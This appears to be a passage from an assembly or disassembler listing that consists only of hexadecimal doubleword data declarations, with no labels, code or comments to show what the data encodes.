		dd 933D2565h, 0DCB38564h, 0F261A85Ah, 0B8B08459h, 0B3AC2094h
		dd 655FE9A2h, 16C190F1h, 5FE310CBh, 7F1FFF18h, 0CCBF031Ah
		dd 0D4420F22h, 85CB5E21h, 6D8769A9h, 2FF319AFh,	709A90A4h
		dd 746677C1h, 17D45829h, 918B9124h, 0CFB1DE0Bh,	8E92A0B5h
		dd 0A6022312h, 0E98202C1h, 0B6C5EE53h, 90544E8Ah, 0CC6AD86Fh
		dd 6D7C255Ch, 0FF82E466h, 64700C0Bh, 0D12C21E2h, 742D1B5Ah
		dd 952A425Ah, 0C1728B5Ch, 0AC50EFB1h, 0E632E480h, 31DF76CCh
		dd 2706C3ECh, 28DC6A53h, 0F3914EFFh, 0E1F70248h, 0C57E5868h
		dd 6EAA08D8h, 3C37BD03h, 66A38F2Bh, 893F5992h, 58B422Fh
		dd 8FD3107Dh, 15AAAC6Eh, 2E70D768h, 403DE912h, 7E19BEDAh
		dd 1522AE2h, 78C912DCh,	0AAE514E8h, 93784189h, 0D4074558h
		dd 0EE08A20Bh, 9B14064Eh, 0BF03CDC5h, 0F959524h, 680903F6h
		dd 0B8FF02DFh, 4EDBB23h, 813B1356h, 0C8C281F3h,	85032049h
		dd 8D249616h, 49A745C9h, 2D6035D4h, 0AA15DD7h, 5F00145h
		dd 26662807h, 802B8B6Ch, 95CD81DDh, 2D4C4116h, 0BC3D7E31h
		dd 0E9291CEBh, 80809D56h, 3A57585Bh, 0CACC5F53h, 850A0070h
		dd 0F0B8506Ah, 2C038824h, 27FC0540h, 93E99031h,	8B7F9ED9h
		dd 640930BFh, 0E8B1EC42h, 0A212AF29h, 57F2E276h, 0D366F190h
		dd 0AAE551F7h, 585E036Dh, 0A87E1DF4h, 5AF1F7EDh, 8972E750h
		dd 0E2B3135Ch, 0EC682174h, 0E9AFD232h, 76344D12h, 19C63A69h
		dd 739709AAh, 8AD03523h, 6BA17577h, 0E836602Fh,	0BA835350h
		dd 60323813h, 83450EFFh
		dd 2B02ED7Fh, 0CCF1E71Ch, 0CCFE2280h, 3AD7F480h, 6ADCD4F6h
		dd 95459250h, 0C369A30Eh, 0A70517B2h, 8B8CEA20h, 0A3EA5A45h
		dd 0B65B79AEh, 0BAAF56h, 6AD0E56Fh, 8B01F80h, 77040C06h
		dd 71F0952h, 0D422A6F5h, 0BCED6575h, 0D6069F3Bh, 59641E3Dh
		dd 520101CCh, 0F280E4B2h, 0CF20EC9Fh, 0BC01995h, 1E2A79ACh
		dd 174F3A1Ch, 0DE5FACA6h, 1EDC3AC9h, 0D4BA1EA6h, 0E15D737h
		dd 9C0427Ah, 0E9D0317Bh, 3CE4DB4Eh, 0E2654EB7h,	3829CB6Fh
		dd 9F8CE9A8h, 0B9D7F489h, 661C02B8h, 8C9361A0h,	0E82980h
		dd 0AF654A2Dh, 3D420516h, 5D763779h, 4F1DA102h,	5BD82922h
		dd 2E0909F5h, 7C8BE4B0h, 0FED78780h, 54C3C42Bh,	0BFD8BB5Dh
		dd 4584AC5h, 35BF57EDh,	0EA2F86F8h, 0FF6D99F1h,	458DC03Eh
		dd 0E9127DCCh, 0C7A2D7C4h, 721C58h, 702BE068h, 0AC39E960h
		dd 2CBCAA91h, 1AA83C2Ah, 5CD5620h, 0BB3FC3BFh, 2DD0AF60h
		dd 13AE2302h, 0A001E976h, 0F6F8468Ah, 0AF90280Bh, 9982D592h
		dd 0A0DE8C8Ah, 21BE56EEh, 6BCF1Ah, 1E96BA52h, 0D30F9736h
		dd 3FC1E190h, 0D3DABEB7h, 74EBA8D4h, 2A96856h, 17C54E80h
		dd 9B14257h, 838300A0h,	0B874626Eh, 2C0B946Eh, 69F0037Bh
		dd 0CA001251h, 4923572h, 565EF229h, 2828B45Fh, 666E4461h
		dd 6CE3132h, 490687F1h,	9D0A87B6h, 574CA0D8h, 6D09022Bh
		dd 7D1B15E9h, 5145A11Ah, 6840571Eh, 63F66693h, 8DAB4AE9h
		dd 0E4B338DEh, 0E26046BFh, 80FE2CD0h, 27F4F638h, 0FC2693F0h
		dd 71000112h, 3E6C8536h, 2109981Ch, 0DBF70376h,	24FA1Dh
		dd 5A9BE13Ch, 0E9EA0105h, 5B240463h, 0C9BE6D87h, 218A98C1h
		dd 0F5719FDEh, 377CE660h, 4725B4Ch, 8107FA2Dh, 4213F90h
		dd 0B2324ED9h, 5927DD56h, 2915D53h, 0DE4C5127h,	23374FB7h
		dd 0F2FC2799h, 9CDFE9F0h, 0B16804FBh, 3E9DAF7Eh, 5406B229h
		dd 8D1049E9h, 0D4F8B525h, 4BC29F06h, 69C8F2D5h,	603D1A22h
		dd 214BFD6Eh, 57D63030h, 0C1700CEFh, 5D8604E3h,	3F795F02h
		dd 664A3968h, 1344F021h, 0EA26105Ch, 0C3760100h, 1D3150EBh
		dd 0F1015BD8h, 50F3E999h, 505A6691h, 40B8B424h,	10437F0Bh
		dd 36D5B66Bh, 0BA22F408h, 0C580B309h, 25A6DADFh, 0B161306Ah
		dd 0C6166FA5h, 68C628BBh, 5114472Fh, 0EF8160E7h, 0D5003DA3h
		dd 55F72948h, 2E7BBABDh, 32B1659h, 26713815h, 3569C607h
		dd 0E3C03628h, 0F2F35E76h, 83EEDD1h, 240205A9h,	62096B11h
		dd 2BF25C3Ah, 35E9419Fh, 3323B6Ah, 9D0C78C6h, 2ED9A11Bh
		dd 0A4CA2AC9h, 0C2F5E35Eh, 0CA6977E9h, 0FCC0D505h, 0F340486Fh
		dd 4DC65ED4h, 0D51202E8h, 412DA775h, 926C76E7h,	5687334Bh
		dd 10CAEFE2h, 0E4B6577h, 32D03CD3h, 0F066793Bh,	94B3F23Ah
		dd 27E52D66h, 0D71BA709h, 8A14296h, 2B80012h, 30D91719h
		dd 0FF411C93h, 0FBEF6712h, 0FAC42066h, 44DC82E3h, 98EBD845h
		dd 9F268CAh, 0EF0970B3h, 0BCF0D1C1h, 0F7407DBEh, 7E2DA58h
		dd 0B0462EA3h, 5B8A65D3h, 0E402B92Ch, 6B33CDBFh, 0A5DA4410h
		dd 5F0E1DBCh, 3D384653h, 34769A0Ah, 2344E703h, 0EAE942FAh
		dd 586555E2h, 12D33EB0h, 0C8285C4Dh, 0DB01E655h, 0AC017250h
		dd 8841F453h, 0B1896B3h, 0FF612CDBh, 8E49E0F9h,	44206B64h
		dd 0CC0CC299h, 0C23180Bh, 0C86B136Fh, 3025F865h, 87426505h
		dd 0C58351FAh, 0F30AA6h, 0FEDC1427h, 0E299D501h, 8EB1A908h
		dd 23241AF1h, 0C688C078h, 38251327h, 26AF5449h,	93B218C0h
		dd 6CDF531h, 7AF80DEEh,	894695D6h, 638275E0h, 0A348C83Ch
		dd 35583F25h, 270CDFF8h, 11E0D9C0h, 5A13D814h, 210741E6h
		dd 5BE36C11h, 6AE167E1h, 5B169528h, 8064E95Eh, 1ECB092Fh
		dd 0C1D10CF7h, 41B105E1h, 0F1409390h, 0C9092C5Ah, 5A71058h
		dd 8087B151h, 0CE0868C1h, 0BD9AB5F4h, 253FE853h, 0FBB6E248h
		dd 92BC25E6h, 16CDE916h, 0DD043B49h, 0BD01D796h, 5E233161h
		dd 0D07C8CE9h, 4AE3EC4Fh, 0C9B537B8h, 0C4A62A3Dh, 68EC0E5Fh
		dd 33E16A00h, 0CB02815Bh, 1FBD7B40h, 7CC5434Bh,	5087139Eh
		dd 6F210888h, 7572B907h, 0F9025785h, 7C270C9Fh,	10A4BDDAh
		dd 8E40AFDDh, 0FA3CB951h, 0A41A40Bh, 7F093E24h,	3E0A1355h
		dd 68B19E14h, 2F59CBC4h, 0B4138C8Bh, 5EE48EC5h,	0DE9DAB31h
		dd 0F10427BBh, 0F231D340h, 0A7A897ABh, 2F084CB1h, 680D67CAh
		dd 0A45D6122h, 87C93D9Ch, 2E58DEB2h, 0BB53088Bh, 0D4AB776Bh
		dd 305C8BB1h, 4B866950h, 5DD2C855h, 0F1543127h,	20F82844h
		dd 1BA1E48Fh, 0DA2EC1h,	0D34BF84Eh, 54ED4653h, 10628Fh
		dd 8007E2C0h, 985143F2h, 9E6BB7C2h, 8C0FB3h, 0A2BEC02Dh
		dd 8A1A92A7h, 153E6ECCh, 8E732668h, 25BE4213h, 2FD1B52Bh
		dd 5292FD82h, 0A0320A2h, 0D14E74C4h, 689220BFh,	4BC43CA9h
		dd 0BA16F34Fh, 0E8C10430h, 3BE0BD0Eh, 0C2863BF1h, 14F75027h
		dd 57424974h, 0F8E09E6h, 0EE9BA0ACh, 0E34C0D0Bh, 93E7EDCh
		dd 0A00E7F28h, 680F6F68h, 4A381C63h, 1350E338h,	0D4753CE9h
		dd 0E86CC243h, 520C3DCCh, 0CB640768h, 0A27D5A1Bh, 0E0D14F9Eh
		dd 402D6733h, 42D218CAh, 59046590h, 814700EAh, 703DDCEh
		dd 0F9C24D60h, 1ADFB7DBh, 0E5A9C9E9h, 203EA859h, 65544AE2h
		dd 0EDF4804Dh, 3E15E65Ah, 2F83DE9h, 0F610B353h,	4DE1FFDBh
		dd 61CB7F30h, 38E38000h, 12E9C3FEh, 17C85BDh, 407688A2h
		dd 0B504BEEEh, 29561419h, 40324488h, 0CAED5D88h, 365B0A69h
		dd 368827Eh, 0D014D52Fh, 0EBD5F99Fh, 0E9898859h, 0B81AC153h
		dd 0E8ECB56Eh, 599F0B56h, 0B8F939E5h, 0A8BA0484h, 19F141B9h
		dd 58009A3Ah, 5A03D530h, 0E828A004h, 0CD82A42Ch, 72945FB7h
		dd 4CA88920h, 8D120351h, 25EB277h, 9FFAD205h, 0C28B7FF7h
		dd 0CC175756h, 5B81C752h, 1040867h, 86EDD5D3h, 0F47021E0h
		dd 808007EEh, 881D12F4h, 86DCB2E7h, 5D086866h, 0CF104028h
		dd 44048EDh, 0ED81E97h,	6162E5C0h, 0E949165Ch, 0B2BB57EDh
		dd 77CCDFCBh, 0EEF35101h, 9C3AE744h, 0BF250FEAh, 206A14C8h
		dd 50979E5Eh, 9DC220E9h, 591267B4h, 212901AEh, 0D8C12CD1h
		dd 92F616EDh, 0CD01641Fh, 7B08C594h, 22CE2977h,	7555AF8Bh
		dd 2C87C57Bh, 0E9A2DCBAh, 77051E4Eh, 9B078868h,	0A862591Fh
		dd 981CC7Dh, 2D0265B2h,	0CAB03085h, 18523ED6h, 0F519EB28h
		dd 2A603817h, 1F9290E0h, 0CC13D55h, 1471093Fh, 82803C00h
		dd 66E91E12h, 51057C80h, 29AD2725h, 7207A74h, 7BCA8C81h
		dd 0DF0A7924h, 5F1DE391h, 0FFDFF789h, 20767000h, 42B64DE9h
		dd 1630011Fh, 7DD655BCh, 63F52F74h, 2C182E48h, 0E8481970h
		dd 0DE0A69E3h, 40F812EEh, 5D0F757h, 0C30C1D2Ah,	24E2253Ch
		dd 0A88F9F5Fh, 9C03E0A0h, 0A09D894Bh, 1DFC13AFh, 2EA6BCB4h
		dd 0F86547AFh, 5BF5BB01h, 2D206B75h, 0DB5E1F01h, 7FF38269h
		dd 7E0B703h, 2CC97EC5h,	2677915Fh, 0AD5B9778h, 5A68B713h
		dd 278A2F63h, 2D62C476h, 0F1CEFDE7h, 7AFFC290h,	5C08CE20h
		dd 1EEC2723h, 141FD80Fh, 0E9820C44h, 40FCA9DAh,	4FB1062h
		dd 7B13E2BAh, 0EA985A9Dh, 167B99A4h, 0C17508CAh, 972C330Ch
		dd 7CC08282h, 5881D19Ah, 62AA0E8Ch, 128661Bh, 0C61EF3CEh
		dd 14344DC7h, 0BD1104FEh, 40BB00ECh, 971D673Dh,	30054D9h
		dd 6F42BF57h, 153054Dh,	0EF295FFBh, 0B5EECC80h,	6274064Ah
		dd 0B91F64E9h, 0EAE9ED4Bh, 0E220CD48h, 6350029Fh, 780FFE62h
		dd 28800380h, 0EED3B5E3h
		dd 150BD626h, 8560B217h, 0A8B37368h, 1989AE2Dh,	0DE492DF1h
		dd 0D5E97852h, 5D6E2AB7h, 210B1126h, 0E7015613h, 41CAC983h
		dd 0DA7CB9C2h, 4C38125Ah, 7E882F4Eh, 0BF0113C5h, 72CC7F82h
		dd 1DB6E7F0h, 9227E83Bh, 762DF2EFh, 466DFD0Ch, 1F8D2438h
		dd 116BD6Ch, 0F31F55C7h, 1E0F251h, 0B0746Bh, 0BF8050E7h
		dd 952C2088h, 16147E47h, 11D70639h, 135A5826h, 3B5F7Fh
		dd 0F3EBD2Ah, 6295019Ah, 5748D5CFh, 8A7214EAh, 0AE18E5ECh
		dd 0F5ACA42Ch, 0CF0427F0h, 0F0E83C0h, 26FDE48h,	0E31D35C2h
		dd 90E05537h, 0EDC548E9h, 0A29C555Fh, 0A3E59D5Dh, 13BBF288h
		dd 0A740F85Bh, 2ABC1AF4h, 12955624h, 0A075BA15h, 0CF4423EBh
		dd 29DDBFA4h, 0B58E1EBh, 82EF0F9Bh, 14DB0998h, 9BB1B14Bh
		dd 0B5F4A120h, 0E2B9B390h, 1286521Fh, 2C840F53h, 5E11CABEh
		dd 0E9C40FE2h, 88659045h, 34135AD0h, 760FC00Eh,	0FC04212Ch
		dd 8FD93F24h, 0BD0D0570h, 0BE0835C5h, 501BB90h,	9DDA6D4h
		dd 0C9987BCAh, 63DF8A46h, 871499E1h, 0E993303Fh, 0D7961EAFh
		dd 42B25444h, 6804E390h, 377D73Ch, 8F0A6003h, 7CD1EA60h
		dd 73B7C65h, 246D62CAh,	32E2C346h, 0E9238CB8h, 0EC68E52Fh
		dd 6B1DE511h, 0F16264CFh, 0BAAB3EE9h, 7E2809D5h, 0C3303B8Ch
		dd 5004F78Ch, 0BE9480Bh, 6555D477h, 0D115D006h,	10D8C1E1h
		dd 1E5D21C8h, 53425F48h, 68C7C2A8h, 0D12D4BF5h,	94298A30h
		dd 61F9E097h, 518A560h,	0FACE067Dh, 4E550935h, 1184716Fh
		dd 1B5813B9h, 24505968h, 74FCDh, 0B032AFABh, 0AC95ACE9h
		dd 27E05CF1h, 77C5B54Bh, 160E2D94h, 6B56C9E9h, 4313BBB8h
		dd 6A2CD94h, 0BE0110B0h, 3B8E784Ah, 0EF1F289h, 255CF9D2h
		dd 335C5CE4h, 13AFD34Dh, 306AF04h, 0F1675FA9h, 0C7E6C4DCh
		dd 0F25EF33Fh, 0D109C14Bh, 0FB5593CCh, 0DA038909h, 4AF3722Ah
		dd 0D999CDDDh, 20A24934h, 58197123h, 6D3A64AEh,	0F5290D84h
		dd 0F113BE5Eh, 586DC6D8h, 0FDF404AFh, 32F7948Ah, 43CBB1BCh
		dd 21018C8Dh, 0E5505AD7h, 3A73C1Bh, 0C7807DB7h,	0E0EF9911h
		dd 20C9B0F9h, 0CFF058E5h, 2724B28Dh, 0CC699F9Dh, 0E8C6C9D8h
		dd 4897F8C2h, 0AF18774h, 4476856h, 2D5E964Bh, 0BDD7602Bh
		dd 0F6025582h, 45436470h, 294BCBE2h, 0C4B93F8h,	4A3564Ch
		dd 747263B5h, 0E773C51Fh, 448E5350h, 4A7CFEAh, 0C1BED1B1h
		dd 0CC92C1D1h, 62BD4BF1h, 0A622D517h, 647D6AC9h, 7A1E25F3h
		dd 0EB626756h, 0CE6802EDh, 0B860B154h, 4A8358ACh, 4B4AA802h
		dd 500B6F2h, 0EC2FB2E3h, 1196B0E9h, 6CA82912h, 7F03CB9Eh
		dd 6A202A4Eh, 0E95E7B0h, 891F864Dh, 0E41493F1h,	0B15051DEh
		dd 5E5CC1BCh, 7069460h,	36B81B85h, 0F3693BD7h, 0C77B2DF4h
		dd 31005792h, 73E461C3h, 6DB360E9h, 56D1F281h, 0C0B536E2h
		dd 98C30106h, 92D045E5h, 74C04DBFh, 9F21585Fh, 36A8D8F9h
		dd 7172B496h, 3040699Ah, 58819280h, 0FCFFCD7Fh,	16246853h
		dd 45880E38h, 4CF63A6Dh, 0FDD70D5Dh, 0BF4B7C35h, 3B71A1D0h
		dd 920241Bh, 0CD923E98h, 55F13078h, 0EF096852h,	70775407h
		dd 209E12AEh, 0E13C0026h, 61440304h, 4FD0494Fh,	0CA93727h
		dd 0B36CE907h, 6489A687h, 4107D77Fh, 7B14A468h,	0A09409C8h
		dd 3E52C255h, 0C34B0F02h, 1E4453D4h, 4E09B8F8h,	25E0D05h
		dd 0A76E383Fh, 66F7BA56h, 17441546h, 4531E97h, 0FED90AABh
		dd 71C9C741h, 33700FDBh, 0B8F94A06h, 5F4E3219h,	481ED95Ch
		dd 2951ADD4h, 8EFF5864h, 0D4E91748h, 517B30BAh,	5312E668h
		dd 16B8565Ah, 10F657F2h, 75FB9EE2h, 43564E12h, 9CA8C2C5h
		dd 3FD1AEB4h, 3A2C36E9h, 0E0DF95Eh, 8561CAC2h, 0BC72167h
		dd 0DB2D60CEh, 0D3DC7EFFh, 6A43ED20h, 0D413C45Ch, 4FD36A88h
		dd 0C2E8ACBCh, 72143A68h, 0B6520240h, 7B39E961h, 4F45E657h
		dd 17E946D3h, 2FA0B80Fh, 0D582EC57h, 41E1DBB3h,	4ADDA408h
		dd 3A6B6806h, 60F0341Bh, 5C792233h, 28D565DDh, 2685DECEh
		dd 94742DBDh, 5B048113h, 0C80A63Fh, 3F55B3F6h, 0A4CF4053h
		dd 0C5B751ADh, 0A16861C1h, 0AEE37B66h, 53C4B902h, 7C611EF6h
		dd 16FF058Ch, 895D95FBh, 6B722197h, 443C7688h, 430BC668h
		dd 75744662h, 2EE7785h,	52535A08h, 7A2FC859h, 12EE068Bh
		dd 0C6A3E41h, 0F902010Eh, 4EDE8D19h, 830C0806h,	0E98D1214h
		dd 0B95D805Fh, 5626318h, 54BC7498h, 0AE850C0h, 0A0C82A9Fh
		dd 0EAD0E30Bh, 0D082F558h, 63DCD98Eh, 0CC205571h, 20A4BD88h
		dd 408BFAFAh, 0EB4A061h, 0F2E5706Bh, 2BC8054Eh,	68FD355Eh
		dd 3C98EB82h, 7498600Fh, 0C2FEE2D0h, 55C60E5h, 4C896440h
		dd 0B01014E3h, 88B90F5Eh, 7C2A4978h, 709308EDh,	6939DBA5h
		dd 0E962605Ch, 0E6A355D1h, 721381F2h, 0E7A23F5Fh, 0DDAF0712h
		dd 0ACD86AAFh, 2F7C41CBh, 2BC52167h, 92BE9BD0h,	0B0984E51h
		dd 2802624Ah, 0E7C159D5h, 4766E006h, 0E840F944h, 546537F6h
		dd 385EEC5h, 0F7384E22h, 66746DEh, 11917D22h, 40F20979h
		dd 81B2A2B6h, 0EE239C5Dh, 282815CEh, 0C38D8801h, 39EAD103h
		dd 1B27C9D0h, 788DA26Fh, 0A84B6BE1h, 0A01774F7h, 3C8B2DEBh
		dd 68C121D6h, 0DA6B67BCh, 2EE91292h, 17581B4Eh,	0C0D164FFh
		dd 3D6FBA5Fh, 8D9C0B4Fh, 3E50028Ah, 5EEC122h, 38F6E740h
		dd 533B1F01h, 3D1562BBh, 4207FECAh, 5355B523h, 0CE582FECh
		dd 3CD97B17h, 0A0EBAAB0h, 5DC06808h, 2881556Eh,	8034AB6Dh
		dd 7413B526h, 0D0C3290Bh, 58250846h, 0EBC061F4h, 5A3E665Dh
		dd 106CF997h, 3876FA92h, 0EE24F6B6h, 0F2630863h, 39A27C27h
		dd 5E2E09CBh, 99DA16FFh, 5A068D8Eh, 0D6033228h,	28E9152Ch
		dd 9517B7C7h, 789F16FAh, 0F1291369h, 0D712F05Eh, 12AD0FBDh
		dd 0E3D28BD8h, 5762B415h, 42B7439Ah, 591EC139h,	45E88C3Fh
		dd 0B16F6A41h, 6F40E13Bh, 1EE63743h, 40789A7Fh,	254D3E50h
		dd 1078455Ch, 2CEBA988h, 356B1AF6h, 12FE194h, 1AA5E67Eh
		dd 0F8937F86h, 0B6F30B8Dh, 0EE803D96h, 0FC7234B9h, 0F10E6E7Ch
		dd 576073C0h, 42104D01h, 43F2F8Dh, 0BB0B6F01h, 57F9EC40h
		dd 3F78C368h, 0DB1B18D9h, 4FD2605Ch, 337A1A5Dh,	0F20C4AC7h
		dd 0A587CC1Fh, 0F5116083h, 0F74AB2F1h, 27A10A5Bh, 0EAB0002Bh
		dd 0ED779882h, 0CD0DFBB0h, 0C28C161h, 277D10F0h, 7E880117h
		dd 90C3408h, 0F6C55A14h, 10EB512Fh, 0DDB07EB1h,	96941F73h
		dd 10A30F8Bh, 9558E5C2h, 3C3444F1h, 0DDF5C9BDh,	54748954h
		dd 19D6085Dh, 0C9FC5B17h, 40D64D10h, 591E7DBCh,	1AC92FA7h
		dd 2C3C75A2h, 5C41C8BFh, 4B7F9ED5h, 9A9DDECEh, 0EDE25F1Eh
		dd 0A96EE557h, 0ED6F9897h, 47EEE188h, 0F79D8160h, 7A2D4521h
		dd 0BD550111h, 60305EFh, 74C1D631h, 0DE73ADCBh,	86628B02h
		dd 20EB83A6h, 0EB89EE2Eh, 0E1210B6Fh, 5CFCB99Bh, 94A183Fh
		dd 47EDBCCDh, 42765E02h, 74709268h, 0A1626EC4h,	50702949h
		dd 0D3A5E8D2h, 2089836Ah, 8539BFC5h, 4E2DA42h, 0EEE7C4ADh
		dd 1BC2B797h, 3002466Eh, 0C643CA7Ch, 376E79E1h,	0D508C168h
		dd 3B20912Ah, 80240467h, 10F5012Eh, 21BC4E08h, 5122CB1h
		dd 0CDA66300h, 2489CE86h, 0B715AD1h, 0D1A03DE9h, 850FDB09h
		dd 0A8FCD524h, 713B0E89h, 50209153h, 4F24E9C2h,	0F08BF8E8h
		dd 0B5A8D72Dh, 80F75041h, 0A14240BCh, 6651005Fh, 5B747AB9h
		dd 13C9810Fh, 42E7FE7Eh, 44243ACBh, 6CA52028h, 0C9615695h
		dd 1F1E697Bh, 0FA5320EDh
		dd 0F60D820Fh, 5FD86402h, 0F51DA21Ch, 6BE644FEh, 0A0E607Ch
		dd 25E9F49Ch, 617176A8h, 427EAFBCh, 27303414h, 460032E9h
		dd 685A5852h, 1B709C31h, 0B004E769h, 135BB74Ah,	5E05DBDCh
		dd 0A57CED02h, 0B41E88AFh, 5E551762h, 5D82096Dh, 0B1F4FAD9h
		dd 0F2D680C9h, 2E62CD73h, 817DF8E9h, 764860BFh,	88BB704Bh
		dd 0D6CC0D07h, 0E4A46B05h, 2DF84081h, 60AB0744h, 0B43EE9E1h
		dd 0BAC2B8B7h, 9425D86h, 602EA19h, 76070205h, 77038D66h
		dd 10086CFFh, 0F15B126Eh, 679C2E5Dh, 318A400Fh,	60CDC9EDh
		dd 7B13912Bh, 6B86180Ch, 0B57D0B18h, 28224948h,	0E5D6642Eh
		dd 2B326C2h, 1F41525Bh,	18A37BCCh, 0FD62182Dh, 7EC9205Ch
		dd 60DF52AAh, 0E86C2DDAh, 69D8BF70h, 73B0E54Ah,	7E5300BCh
		dd 6CA051Fh, 0D998423Bh, 2548FF0Fh, 54288074h, 3B7532Dh
		dd 0C509E67Ah, 0A4A468E9h, 0F0FB0B9h, 0F4C15738h, 0A60B12AFh
		dd 2388429h, 2DCADD10h,	0EF355C59h, 0BA5C93C5h,	957C73CEh
		dd 0E970405Ch, 0A04AB703h, 0FFBA7450h, 0AC19CF81h, 10CBFD6Fh
		dd 0BDE8B466h, 2E24CF9Bh, 0E04B8D91h, 7D14220Eh, 0C06B7A7Dh
		dd 758FC29Bh, 5F5A54B8h, 0DE02D4DDh, 0C72B4CD2h, 29F4685Ah
		dd 0E2CD0822h, 0A6035805h, 90DFF6F0h, 5AEF80D7h, 900BD51h
		dd 542803F7h, 93090C9Ah, 5A4ED0DFh, 24AEABF0h, 28EF9945h
		dd 0A094951Dh, 0A4D95C6Eh, 41BA5517h, 0D926EF86h, 7F8B60DFh
		dd 0D41A78E3h, 0A7ED19BCh, 76DCE5FFh, 0CC79A0C5h, 0DA3613E0h
		dd 462CAA29h, 25A0205h,	0E8010BB5h, 809D642h, 0AEB09CDDh
		dd 96222091h, 0B1F2B700h, 5BF92882h, 0CC883950h, 5958E20Eh
		dd 8073B4E3h, 0D5E942C8h, 6B50E55Bh, 491B7AF8h,	0C80C0A43h
		dd 95F4DD91h, 70BEE9F8h, 0E5823839h, 0D9004A32h, 957AEEA9h
		dd 0A7FA4B31h, 91097DECh, 8063D2Ch, 6613BF27h, 0A050B6B2h
		dd 0B116300Eh, 79EEEDD2h, 0D3FC6D5Ah, 88E94D05h, 0FF4BD756h
		dd 5116641h, 58A2608Ch,	826D7197h, 0DB25C3Eh, 75B0CAFDh
		dd 68051540h, 54C73E1h,	59C96A91h, 5FB44EAEh, 7E6A3CA9h
		dd 0EF6C0F0Ch, 6D52E201h, 0B00CE9F8h, 2A386800h, 0B2B8109Dh
		dd 49E0B091h, 94C47AC6h, 0CF8113A8h, 2903E147h,	0F0C74C10h
		dd 12905530h, 0D895563Fh, 4F081DA7h, 456D0381h,	15795BA2h
		dd 1CD6CF1Fh, 20725C39h, 3C3E0E0h, 28CA2C58h, 0AEA404D8h
		dd 0A20061Eh, 4393D0F7h, 684B03AEh, 12F972E7h, 0C38E7B64h
		dd 91FE5C12h, 0AD53A83Dh, 0CB65D1BCh, 0F627EC71h, 358E6670h
		dd 16BA84C4h, 0A32A41AAh, 8B142821h, 0D573BB0Ch, 5FFE3C02h
		dd 557AB356h, 66E9A3A1h, 84548CA4h, 8A5C64C8h, 44E9072h
		dd 555E4F09h, 53429380h, 790915BBh, 0F0094459h,	2F27B66h
		dd 0E9DCBAD6h, 72446606h, 3EB443EEh, 0AD38DC27h, 68845F47h
		dd 0DEF80194h, 5A31ECB4h, 41756CA6h, 5F8976FAh,	0EC92E4B9h
		dd 0C802D3D6h, 4101324Ch, 7412DF4h, 22382BE9h, 10B3F64Bh
		dd 9770763Bh, 0FD1D0770h, 0C14E5866h, 54F10F8Eh, 0D6A84FC7h
		dd 0F6ECC038h, 44F80706h, 3017DB94h, 632121EBh,	96492B94h
		dd 894D6034h, 63F79CC8h, 0E8AAE0D1h, 8E0231F4h,	0DF36A53Eh
		dd 2DF5EF81h, 7AA435C4h, 0DED6CA1Ch, 81BA0D65h,	22CCE3EAh
		dd 40C30EE3h, 29096555h, 89810FBh, 5E600C60h, 729B4F22h
		dd 0DF105FE9h, 7BAB929h, 0FE5DE82Ch, 0A02D5C2Fh, 24880BB4h
		dd 0A2FF427Dh, 57E43602h, 6A754998h, 88E9FF82h,	10FE7C18h
		dd 5C3CDFAAh, 588FF748h, 801BB5A1h, 3AC83FC5h, 534B30EDh
		dd 0DDF6131Ah, 0EDFDFE7Fh, 90886008h, 0F7205081h, 2EBB0423h
		dd 0EBF889F2h, 0A2C21598h, 0CE2579Dh, 54E177Dh,	0ACBD64E9h
		dd 9FBCD395h, 0E9DA8ED8h, 0E1F1D16Bh, 43208DD9h, 758B2D68h
		dd 0AE2037C6h, 95BA0751h, 0A42C0E43h, 1777BC80h, 0BA08F386h
		dd 0B1510BA4h, 90C1AD03h, 2F010624h, 9F28320h, 252CF1F8h
		dd 0C81C3553h, 0DF58C78Bh, 0C5F35F0Bh, 5582E520h, 0B1384CDAh
		dd 7C83C17h, 2CD02859h,	0E741E981h, 2FABE77Eh, 5DE34212h
		dd 0A298DE66h, 2E8CB881h, 0DCA79212h, 1C577910h, 0F79AFE31h
		dd 56805508h, 0E9DD9C74h, 22C87A30h, 263422BDh,	13FC2552h
		dd 0BD7489E6h, 983D9753h, 0B52B088h, 0CEFE72B6h, 0E96FA901h
		dd 4EA4382Fh, 8AE2B5F1h, 82BC7EFFh, 0DBA57BBAh,	57A042CDh
		dd 0CD72670h, 0F2F572C9h, 410030ABh, 2A6A27E9h,	68555A20h
		dd 0E82E1F93h, 0BACA8922h, 52168071h, 71A43909h, 2CD30916h
		dd 99B3DBA6h, 0F7F36A95h, 0D18BF3EAh, 5FFFA4DFh, 0DC9E0DC2h
		dd 0F5F125AEh, 34305BEDh, 0D8669F0Ch, 0A7323CC4h, 2A3FBE00h
		dd 0B09604BAh, 0E5C3290Fh, 0ABD3D718h, 688F096Ch, 0F21B75F7h
		dd 8B7712C1h, 4865E3F9h, 32C1B95h, 35481952h, 6EFA433Eh
		dd 556689FFh, 0C1C5201h, 2FE16B47h, 8260A720h, 210F6176h
		dd 912046FEh, 0E7E107D7h, 0B2614C1Fh, 845E0F87h, 0CD12556Bh
		dd 885892F6h, 2EAE0439h, 0C8C46AE9h, 1E09F5FDh,	0D472E243h
		dd 685A03FDh, 0C71207BAh, 62B3DE51h, 0B615573Dh, 0E81684D2h
		dd 5E89B94Fh, 0C3B2F8BDh, 5BAD99D9h, 935C49D8h,	0EEF38197h
		dd 0ED1F495Ah, 68B446F8h, 80DCD65Ah, 18B85980h,	0D224E953h
		dd 38404EAEh, 0F60BC925h, 0E9AB5D31h, 80C8B702h, 15617BF7h
		dd 0D9F67AFBh, 0DF58E90Bh, 4EA6BCDDh, 9065242h,	455587E8h
		dd 0AAE0987h, 0A32AB4E6h, 0EB6B8C12h, 0B68D468h, 44F080A7h
		dd 75EDE34Ch, 85F496B2h, 0EC3AF799h, 0C1442B10h, 65E90612h
		dd 1D3134FDh, 69377A03h, 0B770E7BDh, 5C13EB2Fh,	0AAEA87AFh
		dd 0C405940Ah, 0B6DE08E1h, 2855500Ch, 0C0DF8292h, 167C4235h
		dd 0FC213234h, 0EA3CC68Ch, 4AEB054Dh, 122A8E68h, 1F76ECEEh
		dd 0F052D09h, 2EC2CF89h, 80FD0BECh, 3E2842F5h, 0F9012E4Ah
		dd 0FA082036h, 920797F5h, 0D35009B9h, 0F6C8212Ch, 0D35EDE10h
		dd 0B1F094Ch, 2DC93CE5h, 8991F190h, 441EC9DEh, 7D4C14FCh
		dd 0E4B2A708h, 0D84372E6h, 2CC2C22Eh, 3DB634E5h, 304E1E79h
		dd 803DBF5h, 0F6FE0459h, 0C0634F7Bh, 10721D3Fh,	9010475Ch
		dd 141C6808h, 94E95E04h, 0B24A67BCh, 608B9F45h,	4CA0FE91h
